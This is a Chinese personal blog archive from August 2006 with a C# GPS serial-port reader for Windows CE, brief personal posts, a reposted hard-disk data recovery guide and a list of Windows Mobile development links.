月度存档: 八月 2006

用C#读取GPS数据的基类

using System;
using System.Runtime.InteropServices;
using System.Text;

namespace BaseStationPDA
{
 class GPS
 {

  public string PortNum;
  public int BaudRate;
  public byte ByteSize;
  public byte Parity; // 0-4=no,odd,even,mark,space
  public byte StopBits; // 0,1,2 = 1, 1.5, 2
  public int ReadTimeout;
  
  //comm port win32 file handle
  private int hComm = -1;
  
  public bool Opened = false;
  
  //win32 api constants
  private const uint GENERIC_READ = 0x80000000;
  private const uint GENERIC_WRITE = 0x40000000;
  private const int OPEN_EXISTING = 3;  
  private const int INVALID_HANDLE_VALUE = -1;
  
  [StructLayout(LayoutKind.Sequential)]
   public struct DCB
  {
   //taken from c struct in platform sdk
   public int DCBlength;           // sizeof(DCB)
   public int BaudRate;            // 指定当前波特率 current baud rate
   // these are the c struct bit fields, bit twiddle flag to set
   public int fBinary;          // 指定是否允许二进制模式,在windows95中必须主TRUE binary mode, no EOF check
   public int fParity;          // 指定是否允许奇偶校验 enable parity checking
   public int fOutxCtsFlow;      // 指定CTS是否用于检测发送控制,当为TRUE是CTS为OFF,发送将被挂起。 CTS output flow control
   public int fOutxDsrFlow;      // 指定CTS是否用于检测发送控制 DSR output flow control
   public int fDtrControl;       // DTR_CONTROL_DISABLE值将DTR置为OFF, DTR_CONTROL_ENABLE值将DTR置为ON, DTR_CONTROL_HANDSHAKE允许DTR"握手" DTR flow control type
   public int fDsrSensitivity;   // 当该值为TRUE时DSR为OFF时接收的字节被忽略 DSR sensitivity
   public int fTXContinueOnXoff; // 指定当接收缓冲区已满,并且驱动程序已经发送出XoffChar字符时发送是否停止。TRUE时,在接收缓冲区接收到缓冲区已满的字节XoffLim且驱动程序已经发送出XoffChar字符中止接收字节之后,发送继续进行。 FALSE时,在接收缓冲区接收到代表缓冲区已空的字节XonChar且驱动程序已经发送出恢复发送的XonChar之后,发送继续进行。XOFF continues Tx
   public int fOutX;          // TRUE时,接收到XoffChar之后便停止发送接收到XonChar之后将重新开始 XON/XOFF out flow control
   public int fInX;           // TRUE时,接收缓冲区接收到代表缓冲区满的XoffLim之后,XoffChar发送出去接收缓冲区接收到代表缓冲区空的XonLim之后,XonChar发送出去 XON/XOFF in flow control
   public int fErrorChar;     // 该值为TRUE且fParity为TRUE时,用ErrorChar 成员指定的字符代替奇偶校验错误的接收字符 enable error replacement
   public int fNull;          // eTRUE时,接收时去掉空(0值)字节 enable null stripping
   public int fRtsControl;     // RTS flow control
   /*RTS_CONTROL_DISABLE时,RTS置为OFF
            RTS_CONTROL_ENABLE时, RTS置为ON
            RTS_CONTROL_HANDSHAKE时,
            当接收缓冲区小于半满时RTS为ON
             当接收缓冲区超过四分之三满时RTS为OFF
            RTS_CONTROL_TOGGLE时,
            当接收缓冲区仍有剩余字节时RTS为ON ,否则缺省为OFF*/

   public int fAbortOnError;   // TRUE时,有错误发生时中止读和写操作 abort on error
   public int fDummy2;        // 未使用 reserved
   
   public uint flags;
   public ushort wReserved;          // 未使用,必须为0 not currently used
   public ushort XonLim;             // 指定在XON字符发送这前接收缓冲区中可允许的最小字节数 transmit XON threshold
   public ushort XoffLim;            // 指定在XOFF字符发送这前接收缓冲区中可允许的最小字节数 transmit XOFF threshold
   public byte ByteSize;           // 指定端口当前使用的数据位 number of bits/byte, 4-8
   public byte Parity;             // 指定端口当前使用的奇偶校验方法,可能为:EVENPARITY,MARKPARITY,NOPARITY,ODDPARITY  0-4=no,odd,even,mark,space
   public byte StopBits;           // 指定端口当前使用的停止位数,可能为:ONESTOPBIT,ONE5STOPBITS,TWOSTOPBITS  0,1,2 = 1, 1.5, 2
   public char XonChar;            // 指定用于发送和接收字符XON的值 Tx and Rx XON character
   public char XoffChar;           // 指定用于发送和接收字符XOFF值 Tx and Rx XOFF character
   public char ErrorChar;          // 本字符用来代替接收到的奇偶校验发生错误时的值 error replacement character
   public char EofChar;            // 当没有使用二进制模式时,本字符可用来指示数据的结束 end of input character
   public char EvtChar;            // 当接收到此字符时,会产生一个事件 received event character
   public ushort wReserved1;         // 未使用 reserved; do not use
  }

  [StructLayout(LayoutKind.Sequential)]
   private struct COMMTIMEOUTS
  { 
   public int ReadIntervalTimeout;
   public int ReadTotalTimeoutMultiplier;
   public int ReadTotalTimeoutConstant;
   public int WriteTotalTimeoutMultiplier;
   public int WriteTotalTimeoutConstant;
  }  

  [StructLayout(LayoutKind.Sequential)] 
   private struct OVERLAPPED
  {
   public int  Internal;
   public int  InternalHigh;
   public int  Offset;
   public int  OffsetHigh;
   public int hEvent;
  } 
  
  [DllImport("coredll.dll")]
  private static extern int CreateFile(
   string lpFileName,                         // 要打开的串口名称
   uint dwDesiredAccess,                      // 指定串口的访问方式,一般设置为可读可写方式
   int dwShareMode,                          // 指定串口的共享模式,串口不能共享,所以设置为0
   int lpSecurityAttributes, // 设置串口的安全属性,WIN9X下不支持,应设为NULL
   int dwCreationDisposition,                // 对于串口通信,创建方式只能为OPEN_EXISTING
   int dwFlagsAndAttributes,                 // 指定串口属性与标志,设置为FILE_FLAG_OVERLAPPED(重叠I/O操作),指定串口以异步方式通信
   int hTemplateFile                        // 对于串口通信必须设置为NULL
   );
  [DllImport("coredll.dll")]
  private static extern bool GetCommState(
   int hFile,  //通信设备句柄
   ref DCB lpDCB    // 设备控制块DCB
   ); 
  [DllImport("coredll.dll")]
  private static extern bool BuildCommDCB(
   string lpDef,  // 设备控制字符串
   ref DCB lpDCB     // 设备控制块
   );
  [DllImport("coredll.dll")]
  private static extern bool SetCommState(
   int hFile,  // 通信设备句柄
   ref DCB lpDCB    // 设备控制块
   );
  [DllImport("coredll.dll")]
  private static extern bool GetCommTimeouts(
   int hFile,                  // 通信设备句柄 handle to comm device
   ref COMMTIMEOUTS lpCommTimeouts  // 超时时间 time-out values
   ); 
  [DllImport("coredll.dll")] 
  private static extern bool SetCommTimeouts(
   int hFile,                  // 通信设备句柄 handle to comm device
   ref COMMTIMEOUTS lpCommTimeouts  // 超时时间 time-out values
   );
  [DllImport("coredll.dll")]
  private static extern bool ReadFile(
   int hFile,                // 通信设备句柄 handle to file
   byte[] lpBuffer,             // 数据缓冲区 data buffer
   int nNumberOfBytesToRead,  // 多少字节等待读取 number of bytes to read
   ref int lpNumberOfBytesRead, // 读取多少字节 number of bytes read
   ref OVERLAPPED lpOverlapped    // 溢出缓冲区 overlapped buffer
   );
  [DllImport("coredll.dll")] 
  private static extern bool WriteFile(
   int hFile,                    // 通信设备句柄 handle to file
   byte[] lpBuffer,                // 数据缓冲区 data buffer
   int nNumberOfBytesToWrite,     // 多少字节等待写入 number of bytes to write
   ref int lpNumberOfBytesWritten,  // 已经写入多少字节 number of bytes written
   ref OVERLAPPED lpOverlapped        // 溢出缓冲区 overlapped buffer
   );
  [DllImport("coredll.dll")]
  private static extern bool CloseHandle(
   int hObject   // handle to object
   );
  [DllImport("coredll.dll")]
  private static extern uint GetLastError();
  
  public void Open()
  {
  
   DCB dcbCommPort = new DCB();
   COMMTIMEOUTS ctoCommPort = new COMMTIMEOUTS(); 
    
   // 打开串口 OPEN THE COMM PORT.
   hComm = CreateFile(PortNum ,GENERIC_READ | GENERIC_WRITE,0, 0,OPEN_EXISTING,0,0);
   // 如果串口没有打开,就打开 IF THE PORT CANNOT BE OPENED, BAIL OUT.
   if(hComm == INVALID_HANDLE_VALUE)
   {
    throw(new ApplicationException("非法操作,不能打开串口!"));
   }
  
   // 设置通信超时时间 SET THE COMM TIMEOUTS.
   GetCommTimeouts(hComm,ref ctoCommPort);
   ctoCommPort.ReadTotalTimeoutConstant = ReadTimeout;
   ctoCommPort.ReadTotalTimeoutMultiplier = 0;
   ctoCommPort.WriteTotalTimeoutMultiplier = 0;
   ctoCommPort.WriteTotalTimeoutConstant = 0; 
   SetCommTimeouts(hComm,ref ctoCommPort);
  
   // 设置串口 SET BAUD RATE, PARITY, WORD SIZE, AND STOP BITS.
   GetCommState(hComm, ref dcbCommPort);
   dcbCommPort.BaudRate=BaudRate;
   dcbCommPort.flags=0;
   //dcb.fBinary=1;
   dcbCommPort.flags|=1;
   if (Parity>0)
   {
    //dcb.fParity=1
    dcbCommPort.flags|=2;
   }
   dcbCommPort.Parity=Parity;
   dcbCommPort.ByteSize=ByteSize;
   dcbCommPort.StopBits=StopBits;
   if (!SetCommState(hComm, ref dcbCommPort))
   {
    //uint ErrorNum=GetLastError();
    throw(new ApplicationException("非法操作,不能打开串口!"));
   }
   //unremark to see if setting took correctly
   //DCB dcbCommPort2 = new DCB();
   //GetCommState(hComm, ref dcbCommPort2);
   Opened = true;
  }
  
  public void Close()
  {
   if (hComm!=INVALID_HANDLE_VALUE)
   {
    CloseHandle(hComm);
   }
  }
  
  public byte[] Read(int NumBytes)
  {
   byte[] BufBytes;
   byte[] OutBytes;
   BufBytes = new byte[NumBytes];
   if (hComm!=INVALID_HANDLE_VALUE)
   {
    OVERLAPPED ovlCommPort = new OVERLAPPED();
    int BytesRead=0;
    ReadFile(hComm,BufBytes,NumBytes,ref BytesRead,ref ovlCommPort);
    try
    {
     OutBytes = new byte[BytesRead];
     Array.Copy(BufBytes,0,OutBytes,0,BytesRead);
    }
    catch
    {
     return BufBytes;
    }
    
   }
   else
   {
    throw(new ApplicationException("串口未打开!"));
   }
   return OutBytes;
   //   return BufBytes;
  }
  
  public void Write(byte[] WriteBytes)
  {
   if (hComm!=INVALID_HANDLE_VALUE)
   {
    OVERLAPPED ovlCommPort = new OVERLAPPED();
    int BytesWritten = 0;
    WriteFile(hComm,WriteBytes,WriteBytes.Length,ref BytesWritten,ref ovlCommPort);
   }
   else
   {
    throw(new ApplicationException("串口未打开!"));
   }  
  }

  public string GetGPS(string strGPS,string strFind)
  {
   ///从GPS中读取的数据中,找出想要的数据
   ///GPSstring原始字符串,
   ///strFind要查找的内容,X:经度,Y:纬度,T:时间,V:速度,是数字从1开始,即以“,”分隔的位置
   ///返回查找到指定位置的字符串
   string handerStr="$GPRMC";//GPS串头
   int findHander=strGPS.IndexOf(handerStr);//看是否含有GPS串头
   if (findHander<0)
   {
    return "-1";
   }
   else
   {
    strGPS=strGPS.Substring(findHander,strGPS.Length-findHander);
    string[] ArryTmp=strGPS.Split(",".ToCharArray());
    try
    {
     if(ArryTmp[2]=="V")
     {
      return "V";//没有信号
     }
     else
     {
      switch(strFind)
      {
       case "X":
        return DM2DD(ArryTmp[5]);
        
       case "Y":
        return DM2DD(ArryTmp[3]);
        
       case "T":
        return T2Time(ArryTmp[9],ArryTmp[1]);
        
       case "V":
        return Convert.ToString(Convert.ToDouble(ArryTmp[7])* 1.852);
        
       default:
        return "V";
        
      }
     }
    }
    catch
    {
     return "V";
    }
   }
  }

  public string T2Time(string strDate,string strTime)
  {
   string dT="20"+strDate.Substring(4,2)+"-"+strDate.Substring(2,2)+"-"+strDate.Substring(0,2);
   string TT=Convert.ToString(Convert.ToInt32(strTime.Substring(0,2)))+":"+strTime.Substring(2,2)+":"+strTime.Substring(4,2);
   DateTime T=Convert.ToDateTime(dT+" "+TT);
   T=T.AddHours(8);
   return T.ToString();
  }

  public string DM2DD(string DegreeMinutes)
  {
   //转换NMEA协议的“度分”格式为十进制“度度”格式
   string sDegree;
   string sMinute;
   string sReturn="";
   if(DegreeMinutes.IndexOf(".")==4)
   {
    //DegreeMinutes = Replace(DegreeMinutes, ".", "")
    //DM2DD = CDbl(Left(DegreeMinutes, 2)) + CDbl(Left(CStr(CDbl(Right(DegreeMinutes, Len(DegreeMinutes) – 2)) / 60), 8)) / 10000
    DegreeMinutes=DegreeMinutes.Replace(".","");
    double sDegree1=Convert.ToDouble(DegreeMinutes.Substring(0,2));
    double sDegree2=Convert.ToDouble(DegreeMinutes.Substring(2,DegreeMinutes.Length-2));
    string sTmp=Convert.ToString(sDegree2/60);
    sDegree2=Convert.ToDouble(sTmp.Substring(0,sTmp.Length));
    sDegree2=sDegree2/10000;
    sDegree=Convert.ToString(sDegree1+sDegree2);
    if(sDegree.Length>11)
     sDegree=sDegree.Substring(0,11);
    sReturn=sDegree;
   }
   else if(DegreeMinutes.IndexOf(".")==5)
   {
    //DegreeMinutes = Replace(DegreeMinutes, ".", "")
    //DM2DD = CDbl(Left(DegreeMinutes, 2)) + CDbl(Left(CStr(CDbl(Right(DegreeMinutes, Len(DegreeMinutes) – 2)) / 60), 8)) / 10000
    DegreeMinutes=DegreeMinutes.Replace(".","");
    double sMinute1=Convert.ToDouble(DegreeMinutes.Substring(0,3));
    double sMinute2=Convert.ToDouble(DegreeMinutes.Substring(3,DegreeMinutes.Length-2));
    string sTmp=Convert.ToString(sMinute2/60);
    sMinute2=Convert.ToDouble(sTmp.Substring(0,sTmp.Length));
    sMinute2=sMinute2/10000;
    sMinute=Convert.ToString(sMinute1+sMinute2);
    if(sMinute.Length>10)
     sMinute=sMinute.Substring(0,10);
    sReturn=sMinute;
   }
   return sReturn;
  }

  public bool ScanPort()
  {
   
   try
   {
    if (Opened)
    {
     Close();
     Open();
    }
    else
    {
     Open();//打开串口
     
    }
    byte[] bytRead=Read(512);
    Close();
    if(Encoding.ASCII.GetString(bytRead,0,bytRead.Length).IndexOf("$GP")>=0)
     return true;
    else
     return false;
   }
   catch
   {
    return false;
   }

  }
 }

 class HexCon
 {
  // 把十六进制字符串转换成字节型和把字节型转换成十六进制字符串 converter hex string to byte and byte to hex string
  public static string ByteToString(byte[] InBytes)
  {
   string StringOut="";
   foreach (byte InByte in InBytes)
   {
    StringOut=StringOut + String.Format("{0:X2} ",InByte);
   }
   return StringOut;
  }
  public static byte[] StringToByte(string InString)
  {
   string[] ByteStrings;
   ByteStrings = InString.Split(" ".ToCharArray());
   byte[] ByteOut;
   ByteOut = new byte[ByteStrings.Length-1];
   for (int i = 0;i==ByteStrings.Length-1;i++)
   {
    ByteOut[i] = Convert.ToByte(("0x" + ByteStrings[i]));
   }
   return ByteOut;
  }
 }
}

在别的class中调用时如Frmlogoin(是通过一个时间控件来循环的)

public class Frmlogin : System.Windows.Forms.Form
 {

private GPS ss_port=new GPS();

}

#region 读取GPS
  private void opengps(string ComPoint)
  {
   ss_port.PortNum = ComPoint;
   ss_port.BaudRate = 4800;
   ss_port.ByteSize = 8;
   ss_port.Parity = 0;
   ss_port.StopBits = 1;
   ss_port.ReadTimeout = 1000;

   try
   {
    if (ss_port.Opened)
    {
     ss_port.Close();
     ss_port.Open();
     timer1.Enabled=true;
    }
    else
    {
     ss_port.Open();//打开串口
     timer1.Enabled=true;
    }
    
   }
   catch
    
   {
//    MessageBox.Show("读取GPS错误!" ,"系统提示");
    
   }
  }
  private void timer1_Tick(object sender, System.EventArgs e)
  {
   
   if (ss_port.Opened)
    gpsread();
   else
    ss_port.Open();//打开串口
  }
  
  private void gpsread()
  {
   byte[] aa=ss_port.Read(512);
   string gpsinfo =System.Text.Encoding.ASCII.GetString(aa,0,aa.Length);
   GetParam.GpsLongitude=ss_port.GetGPS(gpsinfo,"X");
   GetParam.GpsLatitude=ss_port.GetGPS(gpsinfo,"Y");
   GetParam.GpsSpeed=ss_port.GetGPS(gpsinfo,"V");
   GetParam.GpsTime=ss_port.GetGPS(gpsinfo,"T");
   if(GetParam.GpsLongitude=="-1")
    GetParam.GpsState="0";
   if(GetParam.GpsLongitude=="V" && GetParam.GpsLatitude=="V")
    GetParam.GpsState="0";
   if(GetParam.GpsLongitude!="-1" && GetParam.GpsLongitude!="V")
    GetParam.GpsState="1";

    GetParam.GpsLongitude=(GetParam.GpsLongitude=="V") ? "0" : GetParam.GpsLongitude;
    GetParam.GpsLatitude=(GetParam.GpsLatitude=="V") ? "0" : GetParam.GpsLatitude;
    GetParam.GpsSpeed=(GetParam.GpsSpeed=="V") ? "0" : GetParam.GpsSpeed;
    GetParam.GpsTime=(GetParam.GpsTime=="V") ? "0" :GetParam.GpsTime;
   
  }
  private void GpsClose()
  {
   timer1.Enabled=false;
   if (ss_port.Opened)
    ss_port.Close();
  }
  #endregion

我的桌面

这就是我在家里面的桌面了,怎样?呵呵,乱吧?图片附件:
img_0086a_resize.jpg

昆明之奇怪的天气

昆明的天气还真是奇怪,今天下班的时候看着还出着太阳,而且还是很刺眼的那种。结果才走了一段路就开始下雨了,还下得好大。

这个是不是就是传说中的秋天的天气了:又出太阳又下雨,栽黄秧,吃白米。呵呵

 

图片附件:
image_319.jpg
图片附件:
image_320.jpg

硬盘数据恢复五大招[收藏]

  硬盘有价而数据无价,现在越来越多的用户有这样的概念,但是只有在真正遇到数据危机时才会有切身的感受,尽管存储在各种磁盘中的计算机数据如此重要,但由于技术和工艺的原因,任何存储设备都存在毁损的风险。运行环境的改变和恶化,违规操作或折磨式操作,病毒的破坏和黑客的入侵,以及难以避免的各种异常情况,都可能导致存储设备报废和软件系统崩溃。

  不少朋友都认为,数据恢复是一项专业性很强的工作,需要对磁盘结构和文件系统有透彻的了解,真的有那么神秘么?其实针对一些简单的软件类数据丢失,我们自己动手就能解决问题,不仅可以省下一大笔费用,而且对自己的电脑水平的提高也是一个难得的机会。今天小编就和大家聊一下关于一些数据回复的解决办法。

  一旦遭遇数据危机,保持一份从容不迫的心态非常重要,出现手忙脚乱的情况则很可能造成更大的破坏,让本来可以恢复的数据变得无法挽救。事实上,自己独立挽救万元价值的数据并非是天方谭谈,只要掌握一些操作技巧并方法得当,大家完全可能会扮演拯救数据危机的英雄角色。

  ■数据丢失,对症下药

  对症下药,哪些数据可以挽救?数据出现问题主要包括两大类:逻辑问题和硬件问题,相对应的恢复也分别称为软件恢复和硬件恢复。软件恢复是指通过软件的方式进行数据修复,整个过程并不涉及硬件维修。而导致数据丢失的原因往往是病毒感染、误格式化、误分区、误克隆、误删除、操作断电等。
  
 软件类故障的特点为:无法进入操作系统、文件无法读取、文件无法被关联的应用程序打开、文件丢失、分区丢失、乱码显示等。事实上,造成软件类数据丢失的原因十分复杂,每种情况都有特定的症状出现,或者多种症状同时出现。一般情况下,只要数据区没有被彻底覆盖,个人用户通过一些特定的软件,基本上都可以顺利恢复。

  以最普通的删除操作为例,实际上此时保存在硬盘中的文件并没有被完全覆盖掉,通过一些特定的软件方法,能够按照主引导区、分区、DBR、FAT,最后文件实体恢复的顺序来解决;当然也应客观承认的是,尽管软件类数据恢复有很多细节性的技巧与难以简单表达的经验,但是也的确存在现有软件恢复技术无能为力的情况。如果硬盘中的数据被完全覆盖或者多次被部分覆盖,很可能使用任何软件也无法修复。

  ■开机时突然断电,重启后找不到系统

  相信不少朋友都遇到过这种情况,在我们使用电脑是突然断电,重新开机时能够检测到硬盘,但是不能进入到系统,或者提示“DISK BOOT FAILURE,INSERT SYSTEN DISK AND PRESS ENTER”。

  像这种情况一般都是硬盘主引导区故障,其实只需要几分钟便可以搞定。此类故障大约占据整体软件故障的30%以上,所以学会对付这类问题的解决方法可谓掌握了一个有效的杀手锏。另外要提醒大家的是,如果开机自检后提示“Miss operation system”而且DOS下可以看到C盘完整内容,这也是属于主引导区故障。

  对于这一类软件故障,我们完全可以自已解决。大家可以用软盘启动系统。然后键入“C:”,看看能否读取C盘的内容。造成这一情况比较复杂,根据主引导区破坏程度的不同,C盘能否被读取也不能确定。如果C盘中的数据可以读出的话,那么大家只要使用Fdisk/mbr命令进行无条件重写主引导区一般都能成功,而且可以保留原有的数据。值得注意的是,运行 Fdisk/mbr命令时系统是没有任何反应的,但实际上它已经起了作用,因为硬盘分区表的数据量很小,写入时间几乎让人感觉不到。

  当然,即便不能读取C盘,我们也可以使用Fdisk/mbr命令。事实上Fdisk/mbr的作用十分明显,也能对付一些主引导区病毒,大家可以好好利用,这堪称是对付硬盘在BIOS中可以识别而DOS下无法操作的第一件工具;除了Fdisk的这一隐藏参数,大家还可以使用Fixmbr这款DOS下的小工具。在DOS下直接执行该文件之后,系统会自动检查分区表结构,经过用户确认之后,它就开始自动修复。与Fdisk/mbr命令相比,Fixmbr具有更好的效果,很多Fdisk/mbr命令不能解决的主引导区问题都能被它轻松搞定。

  ■使用PQ Magic合并分区,文件丢失

  故障:硬盘空间分配不合理,使用分区软件从新分区,或者合并分区,导致文件丢失,或者无法打开。

  这种故障一般都是分区表错误引起的,分区表故障在各种软件故障中也属于常见的,这里推荐大家使用由我们国产的DiskGenius软件。该软件可以直接在纯DOS环境下运行,而且采用直观的中文界面,因此它对于英文不好的用户而言是最佳的选择。

  将DiskGenius软件复制到DOS启动盘之后可以直接运行,进入DiskGenius的主界面后,按下F10就能轻松地自动恢复硬盘分区表,而且这一招非常有效。DiskGenius将首先搜索0柱面0磁头从2扇区开始的隐含扇区,寻找被挪动过的分区表。然后搜索每个磁头的第一个扇区,其中搜索过程可以采用“自动”与“交互”两种方式进行。

  自动方式适用于大多数情况,建议大家选择这种方案。通过以上对主引导区以及分区表的修复,大家才可能让一个遭受严重破坏的硬盘得以在Windows下正确看到分区,进而为其他操作打下坚实的基础。

  手动修复:在部分情况下,可能任何软件都无法找到备份的分区表,此时只能手动修改。手动修改将完全凭借经验,在WinHex等软件下直接操作分区表数据。使用WinHex打开磁盘后。其中从“80”开始到“55AA”结束的DPT硬盘分区表相当关键,我们这里截图展示的硬盘分区表是完好的,因此并不需要修改。

  但是对于一个已经被破坏的分区表而言,其结束位置可能完全错乱,此时大家可以通过寻找下一个“55AA”标志来确定,因为下一个分区开始的位置向前推移一个扇区就是上一个分区的结束的位置。根据所得到的磁头、扇区和柱面数字再折算成16进制,然后使用WinHex回写即可。此外,在寻找下一个“55AA”的过程中可能会碰到很多干扰项,建议根据硬盘分区的容量结合判断。手写恢复分区表的整个过程需要拥有大量的实战经验,大家可以进一步深入学习。

  ■无法打开分区,提示“该分区未格式化”

  故障:正常使用时突然某个盘符不能打开,提示“该分区未格式化”

  毫无疑问,直接重新格式化就能够解决问题,所以如果这个分区里没有比较重要的文件资料等,小编强烈建议您直接格式化硬盘,既简单,但是如果里面有比较重要的文件不能丢失的话,这里还有一个捷径,但是不一定都有效,大家可以找另外一台电脑,将坏的硬盘当作从盘挂在那台电脑上,进入系统后看一下可不可以打开,如果还不行的话,那我们就要用到WinHex改写DBR模板了。

  使用时建议将存在问题的硬盘作为从盘挂接。然后直接打开 WinHex后选择该硬盘,而不要选择分区,这样就能使用硬盘中分区表信息来处理分区,从而巧妙绕过DRB信息。接下来的任务就非常简单了,直接在右上方的“访问”下拉列表中选择DBR故障的分区,然后打开“起始扇区模板”。需要注意的是对于FAT32和NTFS分区,其标准模板都是不同的,要看准了再选。

  ■零磁道损坏,硬盘无法启动

  对于磁盘而言,零磁道是最为关键的地方,因为硬盘的分区表信息就在其中。一旦零磁道损坏,那么硬盘将无法启动。其实零磁道损坏只是物理坏道的特殊情况,所不同的只是损坏之处十分敏感。

 这里推荐给大家的是一款名为效率源的磁盘访问工具。它是目前对付坏道时比较常用的软件其特点在于能够针对扇区进行复制。以一块80GB硬盘为例,如果我们已经知道所需要的重要数据在最后一个分区,且最后一个分区的容量为20GB,那么在效率源软件中直接让起始复制扇区定位在大约70%的位置,终止位置为最后,这样在复制过程中将会避开前面的部分。

 很多时候,物理坏道都是连续出现,而我们所需要的数据可能并没有存储在危险的坏道上。然而操作系统对于硬盘的读取过程比较特殊,一旦存在大量坏道就有可能无法识别硬盘分区。通过效率源软件,大家可以轻而易举地突破这些限制,而且该软件本身就带有强力复制功能和相应的校验算法。

  ■分区被误操作格式化或者误克隆

  当我们发现文件丢失或文件被同名文件覆盖,甚至分区被误操作格式化以及误克隆之后,就需要采用磁盘扫描的方法来进行数据恢复。

  由于误操作而导致的文件丢失在软件类数据恢复中很常见,当在磁盘上删除一些数据后,被删除的地方只不过做了一个可覆盖标记,数据并没有真正被删除。但是再次写入的话,不一定立即覆盖刚刚删除的地方,因此可以使用磁盘扫描的方法来恢复数据,但数据一旦被其他数据所覆盖,就很难做到将被删除数据完全恢复。

  这里推荐大家使用Easy Recovery和Final Data。由于Easy Recovery和Final Data在针对分区表等故障时有着一套独特的处理方法,可以自动使用内定的方式来扫描文件,因此结合起来使用往往可以带来惊喜。

  EasyRecovery使用Ontrack公司复杂的模式识别技术找回分布在硬盘上不同地方的文件碎块,并根据统计信息对这些文件碎块进行重整。接着 EasyRecovery在内存中建立一个虚拟的文件系统并列出所有的文件和目录。哪怕整个分区都不可见或者硬盘上只有非常少的分区维护信息, EasyRecovery仍然可以高质量地找回文件。

  能用EasyRecovery找回数据、文件的前提就是硬盘中还保留有文件的信息和数据块。但在进行删除文件、格式化硬盘等操作后,再对该分区内写入大量新信息时,这些需要恢复的数据就很有可能被覆盖了!这时,无论如何都是找不回想要的数据了。所以,为了提高数据的修复率,就不要再对要修复的分区或硬盘进行新的读写操作。如果要修复的分区恰恰是系统启动分区,就要马上退出系统,用另外一个硬盘来启动,然后在用软件进行回复。

  ■小编总结

  以上的几条硬盘数据丢失,基本上我们用户都可以自己尝试一下,使用不同的软件进行恢复,不一定全部管用,但是如果我们不试的话就完全没有机会,或者说需要花钱进行专业恢复,但是小编感觉,前提是我们硬盘里有对于我们比较重要的数据或者文件等,否则如果只是一些正常的电影或者MP3文件的话小编建议,就不要进行数据恢复了,直接格式化重做系统最简单了。

Windows Mobile 开发资源网址列表

1、Windows Mobile Team Blog
http://blogs.msdn.com/windowsmobile/

2、Microsoft Technical Forums  –>Smart Device Development —— 强烈推荐
http://forums.microsoft.com/msdn/default.aspx?siteid=1

3、微软中文社区 -> Windows Mobile
 —>Smartphone & Pocket PC 使用交流区
 —>Smartphone & Pocket PC 开发交流区
http://bbs.mscommunity.com/forums/default.aspx

3、VCHelp –> eVC/.NET Compact嵌入式平台
http://www.vchelp.net/cndevforum/subject_list.asp?forum_id=33

4、MSDN 英文网站  –>Mobile
http://msdn.microsoft.com/mobility/

5、MSDN中文网站 –>移动与嵌入式技术
http://www.microsoft.com/china/MSDN/library/Mobility/default.mspx
以及 Webcast 网络讲座
http://www.microsoft.com/china/msdn/events/webcasts/shared/Webcast/MSDNWebCast.aspx

6、移动技术网 –>WinCE开发讨论区
http://www.msale.net/Forum/viewforum.php?f=7

7、天极网 嵌入式开发 版块
http://club.yesky.com/bbs/jsp/list.jsp?forumID=378
以及  天极网软件频道–>移动开发
http://dev.yesky.com/devydkf/

8、CSDN.NET –>移动–>Windows Mobile 资源
http://mobile.csdn.net/List.aspx?Column=80bacd07-4d58-4507-9f32-c142b51c401a

9、CSDN社区 
http://community.csdn.net/
—>硬件/嵌入开发—> 嵌入开发(WinCE)
—>移动平台—>Windows Mobile

10、Smartphone—技术天地—赛迪网
http://tech.ccidnet.com/col/1130/1130.html

11、Pocket PC Developer Network
http://www.pocketpcdn.com/

12、嵌入式世界网
http://www.embedworld.com/forum_list.asp?forum_id=5

13、PocketPC FAQ
http://www.pocketpcfaq.com/

14、MoDaCo » Forum Home » Smartphone » Smartphone Development
http://www.modaco.com/Smartphone_Development-f113.html

15、CodeProject
http://www.codeproject.com/ce/
与该网站类似的有:
CodeGuru
http://www.codeguru.com/

16、移动开发网(资料很多)
http://www.biplip.com/default.aspx
开发论坛—>Windows CE与Pocket PC软件开发讨论区 
http://www.biplip.com/Forums/default.asp?CAT_ID=3

17、嵌入式研究网
http://www.cnemb.com/
—>微软嵌入式开发版
http://www.cnemb.com/index.php?name=PNphpBB2&file=index&c=1

18、MVP Blog
http://blog.csdn.net/aawolf/

19、Smartphone Developer  Network
http://www.smartphonedn.com/

20、PDA 发烧友论坛
http://bbs.pdafans.com
—移动设备软件开发版

21、OpenNETCF.org
http://www.opennetcf.org/CategoryView.aspx?category=Home

22、嵌入者之家论坛
http://www.embeder.com/bbs/index.asp
—WinCE讨论区
—PocketPC讨论区

23、NET Compact Framework Team
http://blogs.msdn.com/netcfteam/

24、中国JAVA手机网
http://www.cnjm.net

25、IOICN 中文数码论坛
http://61.145.126.169/bbs/index.php

26、手机论坛_手机之家
http://bbs.imobile.com.cn/forumdisplay.php?fid=55491

27、Smartphone Thoughts
http://www.smartphonethoughts.com/forums/index.php

28、In the Hand
http://www.inthehand.com/forums/

29、Smartphone Dubai Forums
http://smartphonedubai.com/groupee/forums

30、SourceForge.NET
http://sourceforge.net/

31、新的论坛:
Mobile 应用开发
http://mobile.winfans.net/CCS/Default.aspx
移动开发者
http://www.justmobiler.com/

32、TOM PDA (PDA设备的软硬件交流,并提供PDA新闻订阅)
http://www.tompda.com/bbs/
 ——PocketPC及SmartPhone智能手机讨论区
 ——CE软件讨论区

33、阿YAYA微软智能手机网——Windows Mobile
http://www.aryaya.com/forumdisplay.php?fid=109

34、91mobile
http://91mobile.com/bbs/index.asp
——PocketPC 开发经验交流
——Smartphone 开发经验交流

35、Hi PDA
http://www.hi-pda.com/forum/

36、小胖熊的酷数码乐园
http://www.sosaw.com/

37、数码墟
http://www.01outlet.com/

38、酷派数码
http://www.pxdxa.com/

39、Windows Mobile Developers Wiki
http://channel9.msdn.com/wiki/default.aspx/MobileDeveloper.HomePage

40、  MSDN2(United States) —— 强烈推荐
http://msdn2.microsoft.com/library/default.aspx

The MSDN Library is an essential resource for developers using Microsoft tools, products, and technologies. It contains a bounty of technical programming information, including sample code, documentation, technical articles, and reference guides.

This site, MSDN2, contains the documentation for two new products, Visual Studio 2005 and SQL Server 2005. Use this site to access the latest developer documentation for these tools and technologies and to preview some of the upcoming changes to the MSDN Library interface. In the coming months, the documentation hosted here will be consolidated into the MSDN Library.

41、Visual Studio For Devices
http://blogs.msdn.com/vsdteam/

42、STL For EVC
http://www.syncdata.it/stlce/index.html

43、GotDotNet
http://www.gotdotnet.com
 is a .NET Framework Community Web site providing Visitor with access to code Samples and other resources for Create .NET Solutions.

44、嵌入式开发网络
http://www.embeddedhelp.com/Index.asp

45、翻译《Windows CE 程序设计(3rd版本)》的BLOG
http://blog.csdn.net/tellmenow/category/138980.aspx

46、南方数码掌上软件开发部(留言本)
http://www.lzh.cn/

